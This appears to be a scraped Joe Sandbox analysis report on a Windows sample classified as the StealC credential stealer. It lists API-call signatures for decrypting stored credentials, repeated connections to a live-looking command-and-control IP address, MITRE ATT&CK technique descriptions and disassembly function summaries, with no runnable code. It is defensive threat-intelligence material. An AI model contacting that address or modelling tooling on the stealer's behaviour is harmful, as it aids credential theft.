Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00418EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00409B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040A74A7 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_040A74A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040B9107 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_040B9107
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040A9D27 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_040A9D27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040A9DC7 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_040A9DC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040ACA87 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	0_2_040ACA87

Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.113.184

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_61a831c2ecacd74fd612ac4b487129f59cc76_219f44b5_5f7cdf99-645c-4cf4-8d9f-79f26d9623a5\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE9DF.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREAEA.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB0A.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
file.exe

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 004026A0 Relevance: 665.2, APIs: 1, Strings: 378, Instructions: 1905
COMMON

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 004117A0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160
stringCOMMON

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 040A003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89
sleepCOMMON

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60
stringnetworkCOMMON

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON